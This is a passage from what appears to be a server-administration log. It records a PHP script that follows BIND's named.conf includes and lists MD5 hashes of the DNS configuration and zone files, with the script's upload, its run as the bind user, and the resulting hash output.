MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:53:07: Establishing a connection
2026-04-23 14:53:07: 

PUT: /tmp/pkp655810

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:53:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp655810; rm /tmp/pkp655810'

2026-04-23 14:53:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
